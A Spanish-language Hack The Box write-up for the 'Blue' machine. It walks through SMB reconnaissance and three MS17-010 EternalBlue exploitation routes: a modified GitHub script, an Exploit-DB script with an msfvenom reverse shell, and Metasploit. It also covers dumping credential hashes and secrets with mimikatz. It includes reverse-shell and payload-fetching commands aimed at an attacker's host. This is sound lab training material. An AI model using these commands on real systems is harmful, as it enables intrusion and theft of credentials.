Blue - Hack The Box
Una máquina relativamente fácil, ya que usamos un Exploit muy conocido que hace juego con el nombre de la máquina y que hay una historia detrás de su obtención, siendo que este Exploit “supuestamente” fue robado a la NCA. Haremos uso del famoso Exploit Eternal Blue para ganar acceso como un usuario administrador, aprovecharemos para utilizar otras herramientas para obtener información sobre el servicio SMB y la máquina.
Herramientas utilizadas:
- ping
- nmap
- smbclient
- python2
- Impacket
- rlwrap
- msfvenom
- nc
- metasploit framework
- Módulo: auxiliary/scanner/smb/smb_ms17_010)
- Módulo: exploit/windows/smb/ms17_010_eternalblue
- mimikatz.exe
- certutil.exe
Índice
- Recopilación de Información
- Análisis de Vulnerabilidades
- Explotación de Vulnerabilidades
- Buscando y Configurando un Exploit
- Probando Exploit EternalBlue de GitHub
- Probando Exploit: Microsoft Windows 7/8.1/2008 R2/2012 R2/2016 R2 - 'EternalBlue' SMB Remote Code Execution (MS17-010)
- Probando EternalBlue en Metasploit Framework
- Post Explotación
- Dumpeando Hashes con Módulo Kiwi en Metasploit Framework
- Usando Mimikatz en Máquina Víctima
- Cargando Mimikatz desde Nuestra Máquina
- Links de Investigación
Recopilación de Información
Traza ICMP
Veamos si la máquina está conectada, lancemos un ping y veamos que SO opera gracias al TTL.
ping -c 4 10.10.10.40
PING 10.10.10.40 (10.10.10.40) 56(84) bytes of data.
64 bytes from 10.10.10.40: icmp_seq=1 ttl=127 time=128 ms
64 bytes from 10.10.10.40: icmp_seq=2 ttl=127 time=130 ms
64 bytes from 10.10.10.40: icmp_seq=3 ttl=127 time=130 ms
64 bytes from 10.10.10.40: icmp_seq=4 ttl=127 time=131 ms
--- 10.10.10.40 ping statistics ---
4 packets transmitted, 4 received, 0% packet loss, time 3005ms
rtt min/avg/max/mdev = 128.426/129.686/130.894/0.884 ms
Vemos que la máquina tiene el sistema Windows, empecemos ahora con los escaneos.
Escaneo de Puertos
Vamos a buscar que puertos están abiertos en esta máquina:
nmap -p- --open -sS --min-rate 5000 -vvv -n -Pn 10.10.10.40 -oG allPorts
Host discovery disabled (-Pn). All addresses will be marked 'up' and scan times may be slower.
Starting Nmap 7.93 ( https://nmap.org ) at 2023-01-18 13:28 CST
Initiating SYN Stealth Scan at 13:28
Scanning 10.10.10.40 [65535 ports]
Discovered open port 139/tcp on 10.10.10.40
Discovered open port 445/tcp on 10.10.10.40
Discovered open port 135/tcp on 10.10.10.40
Discovered open port 49156/tcp on 10.10.10.40
Discovered open port 49154/tcp on 10.10.10.40
Discovered open port 49152/tcp on 10.10.10.40
Completed SYN Stealth Scan at 13:29, 48.37s elapsed (65535 total ports)
Nmap scan report for 10.10.10.40
Host is up, received user-set (0.59s latency).
Scanned at 2023-01-18 13:28:52 CST for 49s
Not shown: 41657 filtered tcp ports (no-response), 23872 closed tcp ports (reset)
Some closed ports may be reported as filtered due to --defeat-rst-ratelimit
PORT STATE SERVICE REASON
135/tcp open msrpc syn-ack ttl 127
139/tcp open netbios-ssn syn-ack ttl 127
445/tcp open microsoft-ds syn-ack ttl 127
49152/tcp open unknown syn-ack ttl 127
49154/tcp open unknown syn-ack ttl 127
49156/tcp open unknown syn-ack ttl 127
Read data files from: /usr/bin/../share/nmap
Nmap done: 1 IP address (1 host up) scanned in 48.61 seconds
Raw packets sent: 227709 (10.019MB) | Rcvd: 24244 (969.820KB)
Parámetros | Descripción |
---|---|
-p- | Para indicarle un escaneo en ciertos puertos. |
–open | Para indicar que aplique el escaneo en los puertos abiertos. |
-sS | Para indicar un TCP Syn Port Scan para que nos agilice el escaneo. |
–min-rate | Para indicar una cantidad de envió de paquetes de datos no menor a la que indiquemos (en nuestro caso pedimos 5000). |
-vvv | Para indicar un triple verbose, un verbose nos muestra lo que vaya obteniendo el escaneo. |
-n | Para indicar que no se aplique resolución dns para agilizar el escaneo. |
-Pn | Para indicar que se omita el descubrimiento de hosts. |
-oG | Para indicar que el output se guarde en un fichero grepeable. Lo nombre allPorts. |
Vemos varios puertos abiertos, pero ya podemos deducir que la máquina usa el servicio SMB. Ahora vamos al escaneo de servicios.
Escaneo de Servicios
Aplicando escaneo de servicios a los puertos abiertos:
nmap -sC -sV -p135,139,445,49152,49154,49156 10.10.10.40 -oN targeted
Starting Nmap 7.93 ( https://nmap.org ) at 2023-01-18 13:31 CST
Nmap scan report for 10.10.10.40
Host is up (0.13s latency).
PORT STATE SERVICE VERSION
135/tcp open msrpc Microsoft Windows RPC
139/tcp open netbios-ssn Microsoft Windows netbios-ssn
445/tcp open microsoft-ds Windows 7 Professional 7601 Service Pack 1 microsoft-ds (workgroup: WORKGROUP)
49152/tcp open msrpc Microsoft Windows RPC
49154/tcp open msrpc Microsoft Windows RPC
49156/tcp open msrpc Microsoft Windows RPC
Service Info: Host: HARIS-PC; OS: Windows; CPE: cpe:/o:microsoft:windows
Host script results:
| smb-security-mode:
| account_used: guest
| authentication_level: user
| challenge_response: supported
|_ message_signing: disabled (dangerous, but default)
| smb-os-discovery:
| OS: Windows 7 Professional 7601 Service Pack 1 (Windows 7 Professional 6.1)
| OS CPE: cpe:/o:microsoft:windows_7::sp1:professional
| Computer name: haris-PC
| NetBIOS computer name: HARIS-PC\x00
| Workgroup: WORKGROUP\x00
|_ System time: 2023-01-18T19:32:34+00:00
| smb2-security-mode:
| 210:
|_ Message signing enabled but not required
| smb2-time:
| date: 2023-01-18T19:32:33
|_ start_date: 2023-01-18T19:27:28
|_clock-skew: mean: 5s, deviation: 1s, median: 4s
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 74.54 seconds
Parámetros | Descripción |
---|---|
-sC | Para indicar un lanzamiento de scripts básicos de reconocimiento. |
-sV | Para identificar los servicios/versión que están activos en los puertos que se analicen. |
-p | Para indicar puertos específicos. |
-oN | Para indicar que el output se guarde en un fichero. Lo llame targeted. |
Aquí vemos que se usa el servicio SMB bastante, podemos ver información extra sobre el SMB, veamos un par de cositas que nos dice este escaneo.
Análisis de Vulnerabilidades
Analizando y Probando Servicio SMB
Vamos a aplicar unos scripts de nmap para obtener más información sobre el servicio SMB, pruebalos:
- Script de reconocimiento de protocolos SMB:
nmap -p 445 --script smb-protocols 10.10.10.40
Starting Nmap 7.93 ( https://nmap.org )
Nmap scan report for 10.10.10.40
Host is up (0.063s latency).
PORT STATE SERVICE
445/tcp open microsoft-ds
Host script results:
| smb-protocols:
| dialects:
| NT LM 0.12 (SMBv1) [dangerous, but default]
| 202
|_ 210
Nmap done: 1 IP address (1 host up) scanned in 3.95 seconds
Este script muestra el protocolo de red que usa el servicio SMB, existen varios como el SMBv1, SMBv2, SMBv2.1, SMBv3 y SMBv3.X. El SMBv1 es el más vulnerable y es el que nos será útil más adelante.
- Script de reconocimiento de seguridad de SMB:
nmap -p 445 --script smb-security-mode 10.10.10.40
Starting Nmap 7.93 ( https://nmap.org )
Nmap scan report for 10.10.10.40
Host is up (0.063s latency).
PORT STATE SERVICE
445/tcp open microsoft-ds
Host script results:
| smb-security-mode:
| account_used: guest
| authentication_level: user
| challenge_response: supported
|_ message_signing: disabled (dangerous, but default)
Nmap done: 1 IP address (1 host up) scanned in 1.64 seconds
Este script nos va a mostrar el modo de seguridad que usa el servicio SMB, existen varios como la sin seguridad (None), autenticación (Authentication), firma de mensajes (Message Signing) y cifrado (Encryption).
Observa que en este caso, tiene activado el modo de autenticación activado, pero la firma de mensajes esta desactivada, lo cual es peligroso tal y como nos menciona el script, pues puede haber riesgo de manipulación de datos, suplantación de identidad y se puede compremeter la integridad de las comunicaciones.
En este caso, el nivel de autenticación es por invitado, es decir, que nos podemos conectar al servicio SMB, lo probaremos más adelante.
- Script de reconocimiento de recursos compartidos:
nmap -p 445 --script smb-enum-shares 10.10.10.40
Starting Nmap 7.93 ( https://nmap.org )
Nmap scan report for 10.10.10.40
Host is up (0.077s latency).
PORT STATE SERVICE
445/tcp open microsoft-ds
Host script results:
| smb-enum-shares:
| account_used: guest
| \\10.10.10.40\ADMIN$:
| Type: STYPE_DISKTREE_HIDDEN
| Comment: Remote Admin
| Anonymous access: <none>
| Current user access: <none>
| \\10.10.10.40\C$:
| Type: STYPE_DISKTREE_HIDDEN
| Comment: Default share
| Anonymous access: <none>
| Current user access: <none>
| \\10.10.10.40\IPC$:
| Type: STYPE_IPC_HIDDEN
| Comment: Remote IPC
| Anonymous access: READ
| Current user access: READ/WRITE
| \\10.10.10.40\Share:
| Type: STYPE_DISKTREE
| Comment:
| Anonymous access: <none>
| Current user access: READ
| \\10.10.10.40\Users:
| Type: STYPE_DISKTREE
| Comment:
| Anonymous access: <none>
|_ Current user access: READ
Nmap done: 1 IP address (1 host up) scanned in 44.44 seconds
Este script nos sirve para ver los archivos compartidos que hay en el servicio SMB, en este caso, vemos varios recursos dentro del SMB, es posible que podamos ver lo que contienen con un par de herramientas que veremos más adelante.
- Script de reconocimiento de vulnerabilidades de NMAP para SMB
Dentro de nmap, existen muchos scripts de reconocimientos, separados por categorias, veamos que categorias maneja nmap:
locate .nse | xargs grep "categories" | grep -oP '".*?"' | sort -u
"auth"
"broadcast"
"brute"
"default"
"discovery"
"dos"
"exploit"
"external"
"fuzzer"
"intrusive"
"malware"
"safe"
"version"
"vuln"
Vemos varias, las que nos pueden interesar en este momento son la de vuln, discovery, intrusive, auth y brute, pero vamos a usar la de vuln unicamente, para que podamos encontrar a que es vulnerable el SMB y usaremos la categoria safe, para que sea de forma segura y no hagamos tanto ruido en el sistema a escanear:
nmap --script "vuln and safe" -p445 10.10.10.40 -oN smbVulnScan
Nmap 7.93 scan initiated Jan 19 12:42:40 2023 as: nmap --script "vuln and safe" -p445 -oN smbVulnScan 10.10.10.40
Nmap scan report for 10.10.10.40
Host is up (0.14s latency).
PORT STATE SERVICE
445/tcp open microsoft-ds
Host script results:
| smb-vuln-ms17-010:
| VULNERABLE:
| Remote Code Execution vulnerability in Microsoft SMBv1 servers (ms17-010)
| State: VULNERABLE
| IDs: CVE:CVE-2017-0143
| Risk factor: HIGH
| A critical remote code execution vulnerability exists in Microsoft SMBv1
| servers (ms17-010).
|
| Disclosure date: 2017-03-14
| References:
| https://blogs.technet.microsoft.com/msrc/2017/05/12/customer-guidance-for-wannacrypt-attacks/
| https://technet.microsoft.com/en-us/library/security/ms17-010.aspx
|_ https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2017-0143
Nmap done at Jan 19 12:42:44 2023 -- 1 IP address (1 host up) scanned in 4.35 seconds
Observa que ya nos dio un Exploit al que es vulnerable el servicio SMB de la máquina víctima, esto lo usaremos más adelante. Es momento de probar la herramienta smbclient.
Probando Herramienta smbclient
Recordemos que podemos loguearnos como invitados en el servicio SMB, vamos a probarlo con esta herramienta, pero primero veamos si podemos listar los recursos compartidos:
smbclient -L 10.10.10.40
Password for [WORKGROUP\root]:
Sharename Type Comment
--------- ---- -------
ADMIN$ Disk Remote Admin
C$ Disk Default share
IPC$ IPC Remote IPC
Share Disk
Users Disk
Reconnecting with SMB1 for workgroup listing.
do_connect: Connection to 10.10.10.40 failed (Error NT_STATUS_RESOURCE_NAME_NOT_FOUND)
Unable to connect with SMB1 -- no workgroup available
Bien, podemos ver 5 recursos, veamos si podemos loguearnos a alguno de estos:
smbclient //10.10.10.40/ADMIN
Password for [WORKGROUP\root]:
tree connect failed: NT_STATUS_BAD_NETWORK_NAME
.
smbclient //10.10.10.40/C
Password for [WORKGROUP\root]:
tree connect failed: NT_STATUS_BAD_NETWORK_NAME
.
smbclient //10.10.10.40/IPC
Password for [WORKGROUP\root]:
tree connect failed: NT_STATUS_BAD_NETWORK_NAME
.
smbclient //10.10.10.40/Share
Password for [WORKGROUP\root]:
Try "help" to get a list of possible commands.
smb: \> dir
. D 0 Fri Jul 14 08:48:44 2017
.. D 0 Fri Jul 14 08:48:44 2017
4692735 blocks of size 4096. 658102 blocks available
smb: \> exit
.
smbclient //10.10.10.40/Users
Password for [WORKGROUP\root]:
Try "help" to get a list of possible commands.
smb: \> dir
. DR 0 Fri Jul 21 01:56:23 2017
.. DR 0 Fri Jul 21 01:56:23 2017
Default DHR 0 Tue Jul 14 02:07:31 2009
desktop.ini AHS 174 Mon Jul 13 23:54:24 2009
Public DR 0 Tue Apr 12 02:51:29 2011
4692735 blocks of size 4096. 658102 blocks available
smb: \> cd Public
smb: \Public\> dir
. DR 0 Tue Apr 12 02:51:29 2011
.. DR 0 Tue Apr 12 02:51:29 2011
desktop.ini AHS 174 Mon Jul 13 23:54:24 2009
Documents DR 0 Tue Jul 14 00:08:56 2009
Downloads DR 0 Mon Jul 13 23:54:24 2009
Favorites DHR 0 Mon Jul 13 21:34:59 2009
Libraries DHR 0 Mon Jul 13 23:54:24 2009
Music DR 0 Mon Jul 13 23:54:24 2009
Pictures DR 0 Mon Jul 13 23:54:24 2009
Recorded TV DR 0 Tue Apr 12 02:51:29 2011
Videos DR 0 Mon Jul 13 23:54:24 2009
4692735 blocks of size 4096. 658102 blocks available
smb: \Public\> exit
Como contraseña, estoy usando cualquiera, pero como podras ver, no tenemos acceso a ninguna de las importantes, solamente tenemos acceso a Shares y Users, pero en ambas no hay nada que podamos usar ni que nos sea útil.
Explotación de Vulnerabilidades
Buscando y Configurando un Exploit
Vamos a buscar un Exploit con la herramienta Searchsploit, recuerda que ya descubrimos que es vulnerable al Eternal Blue, podemos buscarlo de esta manera o por su CVE que es MS17-010:
- MS17-010:
searchsploit MS17-010
--------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- ---------------------------------
Exploit Title | Path
--------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- ---------------------------------
Microsoft Windows - 'EternalRomance'/'EternalSynergy'/'EternalChampion' SMB Remote Code Execution (Metasploit) (MS17-010) | windows/remote/43970.rb
Microsoft Windows - SMB Remote Code Execution Scanner (MS17-010) (Metasploit) | windows/dos/41891.rb
Microsoft Windows 7/2008 R2 - 'EternalBlue' SMB Remote Code Execution (MS17-010) | windows/remote/42031.py
Microsoft Windows 7/8.1/2008 R2/2012 R2/2016 R2 - 'EternalBlue' SMB Remote Code Execution (MS17-010) | windows/remote/42315.py
Microsoft Windows 8/8.1/2012 R2 (x64) - 'EternalBlue' SMB Remote Code Execution (MS17-010) | windows_x86-64/remote/42030.py
Microsoft Windows Server 2008 R2 (x64) - 'SrvOs2FeaToNt' SMB Remote Code Execution (MS17-010) | windows_x86-64/remote/41987.py
--------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- ---------------------------------
Shellcodes: No Results
Papers: No Results
En este punto, vamos a utilizar tres versiones de este Exploit, usaremos una versión de github que me ayudara a explicar un poco mejor como funciona este Exploit, la versión de Searchsploit y la que tiene Metasploit. Primero, usemos la de GitHub.
Probando Exploit EternalBlue de GitHub
Vamos a clonar el siguiente repositorio:
Clonalo:
git clone https://github.com/worawit/MS17-010.git
Clonando en 'MS17-010'...
remote: Enumerating objects: 183, done.
remote: Counting objects: 100% (131/131), done.
remote: Compressing objects: 100% (45/45), done.
remote: Total 183 (delta 88), reused 86 (delta 86), pack-reused 52
Recibiendo objetos: 100% (183/183), 107.30 KiB | 779.00 KiB/s, listo.
Resolviendo deltas: 100% (104/104), listo.
Bien, en este caso, tenemos muchas opciones para usar, si recordamos los escaneos que hicimos previamente, sabemos que la máquina usa Windows 7, aunque aca tienen una versión para este SO, es mejor utilizar el script zzz_exploit.py, ya que engloba varias versiones de Windows y bueno…es el mismo exploit que vamos a usar después.
Para usar correctamente este Exploit, necesitamos saber las named pipes que estan encendidas en el servicio SMB, para esto, usaremos el script checker.py y usamos cualquiera que nos de. Lo que vamos a realizar, es un Named Pipes Impersonation.
Named Pipes Impersonation |
---|
Es una técnica que permite escalar privilegios. Un named pipe es una técnica que tiene el sistema operativo Windows para facilitar la comunicación entre procesos. Es sencillo, si un proceso quiere “contactar” con otro, el primero de los procesos puede enviar un mensaje sobre la red o utilizar un fichero. En el segundo caso, el proceso escribe el mensaje en un fichero y el otro proceso lo lee. |
python2 checker.py 10.10.10.40
Target OS: Windows 7 Professional 7601 Service Pack 1
The target is not patched
=== Testing named pipes ===
spoolss: STATUS_ACCESS_DENIED
samr: STATUS_ACCESS_DENIED
netlogon: STATUS_ACCESS_DENIED
lsarpc: STATUS_ACCESS_DENIED
browser: STATUS_ACCESS_DENIED
Excelente, en mi caso voy a usar la de samr, intenta con las demás si quieres probar si con todas funciona este Exploit.
Protocolo SAMR |
---|
El Protocolo Remoto del Administrador de Cuentas de Seguridad (SAMR) es una parte de SMB, que proporciona administración remota de información de cuentas y políticas de seguridad para sistemas basados en Windows. SAMR es un protocolo RPC (Remote Procedure Call) construido sobre el protocolo SMB, que permite la comunicación entre sistemas cliente y servidor. |
Ahora, modificaremos un poco el script para que podamos cargar y ejecutar una netcat dentro de la máquina víctima, entonces necesitaremos una netcat que se pueda ejecutar en Windows y activar recursos compartidos a nivel de red con Impacket para cargar la netcat, hagamoslo por pasos:
- Modificando el script:
USERNAME = 'guest' . ANTES: service_exec(conn, r'cmd /c copy c:\pwned.txt c:\pwned_exec.txt') DESPUES: service_exec(conn, r'cmd /c C:\Tu_IP\smbFolder\nc.exe -e cmd Tu_IP 443')
- Buscando y descargando netcat:
locate nc.exe . cp cp /usr/share/windows-resources/binaries/nc.exe .
NOTA: La netcat debe ser para arquitectura de 64 bits, pues esta es la arquitectura que maneja la máquina. Por lo que se, Kali ya cuenta con uno en sus binarios de windows, pero puedes descargar una desde internet por si las dudas: Netcat 32bits y 64bits
- Abriendo un archivo compartido a nivel de red de nuestro directorio actual de trabajo (osease, donde tengamos la nc.exe) con Impacket y le damos soporte de SMBv2 por si las dudas:
impacket-smbserver smbFolder $(pwd) -smb2support Impacket v0.10.0 - Copyright 2022 SecureAuth Corporation . [*] Config file parsed [*] Callback added for ... ... ...
- Abriendo una netcat en nuestra máquina con rlwrap:
rlwrap nc -nlvp 443 listening on [any] 443 ...
- Y activamos el script:
python2 zzz_exploit.py 10.10.10.40 samr Target OS: Windows 7 Professional 7601 Service Pack 1 Target is 64 bit Got frag size: 0x10 GROOM_POOL_SIZE: 0x5030 BRIDE_TRANS_SIZE: 0xfa0 CONNECTION: 0xfffffa800332fba0 SESSION: 0xfffff8a0039a56e0 ... Done
Y observa el rlwrap, ya debemos tener una sesión activada:
rlwrap nc -nlvp 443
listening on [any] 443 ...
Microsoft Windows [Version 6.1.7601]
Copyright (c) 2009 Microsoft Corporation. All rights reserved.
C:\Windows\system32>whoami
whoami
nt authority\system
Entramos justo como administrador de la máquina, ya solo es cuestión de buscar las flags y listo, vayamos con las otras formas de ganar acceso a la máquina.
Probando Exploit: Microsoft Windows 7/8.1/2008 R2/2012 R2/2016 R2 - 'EternalBlue' SMB Remote Code Execution (MS17-010)
Vamos a descargarlo y veamos si tiene un mensaje sobre como usarlo:
searchsploit -m windows/remote/42315.py
Exploit: Microsoft Windows 7/8.1/2008 R2/2012 R2/2016 R2 - 'EternalBlue' SMB Remote Code Execution (MS17-010)
URL: https://www.exploit-db.com/exploits/42315
Path: /usr/share/exploitdb/exploits/windows/remote/42315.py
Codes: CVE-2017-0144
Verified: True
File Type: Python script, ASCII text executable
Como tal, no viene información sobre como usarlo, menciona que debemos usar otro script llamado mysmb.py, quiza si buscamos en internet, podamos encontrar algo útil.
Y justo nos sale un GitHub con el Exploit que vamos a usar:
Leyéndolo un poco, menciona que este Exploit necesita usar un entorno virtual en Python2, aunque realmente no es necesario si es que tienes instalado Python2 en tu entorno, así que solamente evitaremos ese paso.
Vamos a configurar el Exploit por pasos.
- Cambiando nombre de Exploit (opcional):
mv 42315.py Eternal_Blue.py
- Descargando mysmb.py:
wget https://raw.githubusercontent.com/AnikateSawhney/Pwning_Blue_From_HTB_Without_Metasploit/main/mysmb.py
- Creando Reverse Shell con Msfvenom:
msfvenom -p windows/shell_reverse_tcp -f exe LHOST=Tu_IP LPORT=443 > eternal-blue.exe
- Modificando el Exploit con algunos datos:
USERNAME = 'guest' ANTES: smb_send_file(smbConn, sys.argv[0], 'C', '/exploit.py') DESPUES: smb_send_file(smbConn, '/Path_Donde_Esta_El_Reverse_Shell/eternal-blue.exe' 'C', '/eternal-blue.exe') . ANTES: service_exec(conn, r'cmd /c copy c:\pwned.txt c:\pwned_exec.txt') DESPUES: service_exec(conn, r'cmd /c c:\eternal-blue.exe')
Una vez ya listo, vamos a activar una netcat que es ahí donde se conectara el script y luego lo activamos:
nc -nvlp 443
listening on [any] 443 ...
- Activando script:
python2 Exploit_Blue.py 10.10.10.40 Target OS: Windows 7 Professional 7601 Service Pack 1 Using named pipe: samr Target is 64 bit Got frag size: 0x10 GROOM_POOL_SIZE: 0x5030 ... Done
- Resultado en netcat:
nc -nvlp 443 listening on [any] 443 ... Microsoft Windows [Version 6.1.7601] Copyright (c) 2009 Microsoft Corporation. All rights reserved. C:\Windows\system32>whoami whoami nt authority\system
Excelente, ya solamente nos falta probar con el Metasploit Framework.
Probando EternalBlue en Metasploit Framework
Primero debemos entrar a la consola de Metasploit y buscaremos el Exploit eternal blue:
msfconsole
search eternalblue
Matching Modules
================
# Name Disclosure Date Rank Check Description
- ---- --------------- ---- ----- -----------
0 exploit/windows/smb/ms17_010_eternalblue 2017-03-14 average Yes MS17-010 EternalBlue SMB Remote Windows Kernel Pool Corruption
1 exploit/windows/smb/ms17_010_psexec 2017-03-14 normal Yes MS17-010 EternalRomance/EternalSynergy/EternalChampion SMB Remote Windows Code Execution
2 auxiliary/admin/smb/ms17_010_command 2017-03-14 normal No MS17-010 EternalRomance/EternalSynergy/EternalChampion SMB Remote Windows Command Execution
3 auxiliary/scanner/smb/smb_ms17_010 normal No MS17-010 SMB RCE Detection
4 exploit/windows/smb/smb_doublepulsar_rce 2017-04-14 great Yes SMB DOUBLEPULSAR Remote Code Execution
Vamos a ocupar el escaner para saber si es vulnerable al eternal blue y luego usaremos el Exploit:
use auxiliary/scanner/smb/smb_ms17_010
Y veamos que necesita este modulo para funcionar correctamente:
show options
.
Module options (auxiliary/scanner/smb/smb_ms17_010):
Name Current Setting Required Description
---- --------------- -------- -----------
CHECK_ARCH true no Check for architecture on vulnerable hosts
CHECK_DOPU true no Check for DOUBLEPULSAR on vulnerable hosts
CHECK_PIPE false no Check for named pipe on vulnerable hosts
NAMED_PIPES /usr/share/metasploit-framework/data/wordlists/named_pipes.txt yes List of named pipes to check
RHOSTS yes The target host(s), see https://docs.metasploit.com/docs/using-metasploit/basics/using-metasploit.html
RPORT 445 yes The SMB service port (TCP)
SMBDomain . no The Windows domain to use for authentication
SMBPass no The password for the specified username
SMBUser no The username to authenticate as
THREADS 1 yes The number of concurrent threads (max one per host)
Necesitamos unicamente meter la IP de la máquina víctima y como conocemos el usuario, vamos a meterlo también:
set RHOSTS 10.10.10.40
.
set SMBUser guest
Y lo ejecutamos:
exploit
.
[+] 10.10.10.40:445 - Host is likely VULNERABLE to MS17-010! - Windows 7 Professional 7601 Service Pack 1 x64 (64-bit)
[*] 10.10.10.40:445 - Scanned 1 of 1 hosts (100% complete)
[*] Auxiliary module execution completed
Excelente, nos menciona que si es probablemente vulnerable, entonces usemos el modulo del Exploit:
use exploit/windows/smb/ms17_010_eternalblue
Veamos las opciones:
show options
Module options (exploit/windows/smb/ms17_010_eternalblue):
Name Current Setting Required Description
---- --------------- -------- -----------
RHOSTS yes The target host(s), see https://docs.metasploit.com/docs/using-metasploit/basics/using-metasploit.html
RPORT 445 yes The target port (TCP)
SMBDomain no (Optional) The Windows domain to use for authentication. Only affects Windows Server 2008 R2, Windows 7, Windows Embedded Standard 7 target machines.
SMBPass no (Optional) The password for the specified username
SMBUser no (Optional) The username to authenticate as
VERIFY_ARCH true yes Check if remote architecture matches exploit Target. Only affects Windows Server 2008 R2, Windows 7, Windows Embedded Standard 7 target machines.
VERIFY_TARGET true yes Check if remote OS matches exploit Target. Only affects Windows Server 2008 R2, Windows 7, Windows Embedded Standard 7 target machines.
Payload options (windows/x64/meterpreter/reverse_tcp):
Name Current Setting Required Description
---- --------------- -------- -----------
EXITFUNC thread yes Exit technique (Accepted: '', seh, thread, process, none)
LHOST X.X.X.X yes The listen address (an interface may be specified)
LPORT 4444 yes The listen port
Exploit target:
Id Name
-- ----
0 Automatic Target
Igual, necesitamos la IP de la máquina víctima, el usuario y recuerda verificar tu IP:
set RHOSTS 10.10.10.40
.
set SMBUser guest
Y ejecutamos el modulo:
exploit
.
[*] Started reverse TCP handler on X.X.X.X:4444
[*] 10.10.10.40:445 - Using auxiliary/scanner/smb/smb_ms17_010 as check
[+] 10.10.10.40:445 - Host is likely VULNERABLE to MS17-010! - Windows 7 Professional 7601 Service Pack 1 x64 (64-bit)
[*] 10.10.10.40:445 - Scanned 1 of 1 hosts (100% complete)
[+] 10.10.10.40:445 - The target is vulnerable.
[*] 10.10.10.40:445 - Connecting to target for exploitation.
[+] 10.10.10.40:445 - Connection established for exploitation.
[+] 10.10.10.40:445 - Target OS selected valid for OS indicated by SMB reply
[*] 10.10.10.40:445 - CORE raw buffer dump (42 bytes)
[*] 10.10.10.40:445 - 0x00000000 57 69 6e 64 6f 77 73 20 37 20 50 72 6f 66 65 73 Windows 7 Profes
[*] 10.10.10.40:445 - 0x00000010 73 69 6f 6e 61 6c 20 37 36 30 31 20 53 65 72 76 sional 7601 Serv
[*] 10.10.10.40:445 - 0x00000020 69 63 65 20 50 61 63 6b 20 31 ice Pack 1
[+] 10.10.10.40:445 - Target arch selected valid for arch indicated by DCE/RPC reply
[*] 10.10.10.40:445 - Trying exploit with 12 Groom Allocations.
[*] 10.10.10.40:445 - Sending all but last fragment of exploit packet
[*] 10.10.10.40:445 - Starting non-paged pool grooming
[+] 10.10.10.40:445 - Sending SMBv2 buffers
[+] 10.10.10.40:445 - Closing SMBv1 connection creating free hole adjacent to SMBv2 buffer.
[*] 10.10.10.40:445 - Sending final SMBv2 buffers.
[*] 10.10.10.40:445 - Sending last fragment of exploit packet!
[*] 10.10.10.40:445 - Receiving response from exploit packet
[+] 10.10.10.40:445 - ETERNALBLUE overwrite completed successfully (0xC000000D)!
[*] 10.10.10.40:445 - Sending egg to corrupted connection.
[*] 10.10.10.40:445 - Triggering free of corrupted buffer.
[*] Sending stage (200774 bytes) to 10.10.10.40
[*] Meterpreter session 1 opened (X.X.X.X:4444 -> 10.10.10.40:49158) -0600
[+] 10.10.10.40:445 - =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=
[+] 10.10.10.40:445 - =-=-=-=-=-=-=-=-=-=-=-=-=-WIN-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=
[+] 10.10.10.40:445 - =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=
.
meterpreter > sysinfo
Computer : HARIS-PC
OS : Windows 7 (6.1 Build 7601, Service Pack 1).
Architecture : x64
System Language : en_GB
Domain : WORKGROUP
Logged On Users : 1
Meterpreter : x64/windows
Listo, hemos obtenido acceso a la máquina de 3 formas distintas, es momento de ver que podemos hacer en las Post Explotación.
Post Explotación
En esta parte, vamos a recolectar información útil del sistema tanto en el Metasploit Framework como de forma libre.
Dumpeando Hashes con Módulo Kiwi en Metasploit Framework
Para usarlo, debemos cargar el módulo Kiwi:
meterpreter > load kiwi
Loading extension kiwi...
.#####. mimikatz 2.2.0 20191125 (x64/windows)
.## ^ ##. "A La Vie, A L'Amour" - (oe.eo)
## / \ ## /*** Benjamin DELPY `gentilkiwi` ( benjamin@gentilkiwi.com )
## \ / ## > http://blog.gentilkiwi.com/mimikatz
'## v ##' Vincent LE TOUX ( vincent.letoux@gmail.com )
'#####' > http://pingcastle.com / http://mysmartlogon.com ***/
Success.
El módulo Kiwi, nos permite varias cosillas pues trabaja con mimikatz, pero lo más importante es que nos ayuda a obtener las credenciales de los usuarios registrados, los hashes de SAM y los LSA_SECRETS.
- Dumpeando Credenciales:
meterpreter > creds_all
[+] Running as SYSTEM
[*] Retrieving all credentials
msv credentials
===============
Username Domain NTLM SHA1
-------- ------ ---- ----
Administrator haris-PC cdf51b162460b7d5bc898f493751a0cc dff1521f5f2d7436a632d26f079021e9541aba66
wdigest credentials
===================
Username Domain Password
-------- ------ --------
(null) (null) (null)
Administrator haris-PC ejfnIWWDojfWEKM
HARIS-PC$ WORKGROUP (null)
kerberos credentials
====================
Username Domain Password
-------- ------ --------
(null) (null) (null)
Administrator haris-PC (null)
haris-pc$ WORKGROUP (null)
De esta forma, obtuvimos las credenciales del usuario administrador, incluso la obtuvimos en texto claro.
- Dumpeando los Hashes de SAM:
meterpreter > lsa_dump_sam
[+] Running as SYSTEM
[*] Dumping SAM
Domain : HARIS-PC
SysKey : a749692f1dc76b46d7141ef778aa6bef
Local SID : S-1-5-21-319597671-3711062392-2889596693
SAMKey : a226d4d47dab3eb7a306c8b85ec359cb
RID : 000001f4 (500)
User : Administrator
Hash NTLM: cdf51b162460b7d5bc898f493751a0cc
RID : 000001f5 (501)
User : Guest
RID : 000003e8 (1000)
User : haris
Hash NTLM: 8002bc89de91f6b52d518bde69202dc6
Obtenemos el hash del administrador y del usuario harris.
- Dumpeando los LSA SECRETS:
meterpreter > lsa_dump_secrets
[+] Running as SYSTEM
[*] Dumping LSA secrets
Domain : HARIS-PC
SysKey : a749692f1dc76b46d7141ef778aa6bef
Local name : haris-PC ( S-1-5-21-319597671-3711062392-2889596693 )
Domain name : WORKGROUP
Policy subsystem is : 1.11
LSA Key(s) : 1, default {060be82b-0750-887a-808d-0774087457db}
[00] {060be82b-0750-887a-808d-0774087457db} d28ec83ef05184b93100beaa4d64a6a1a420b8a7a144c943fe57f60fbaa6425d
Secret : DefaultPassword
old/text: kERjCoEmxdlSD
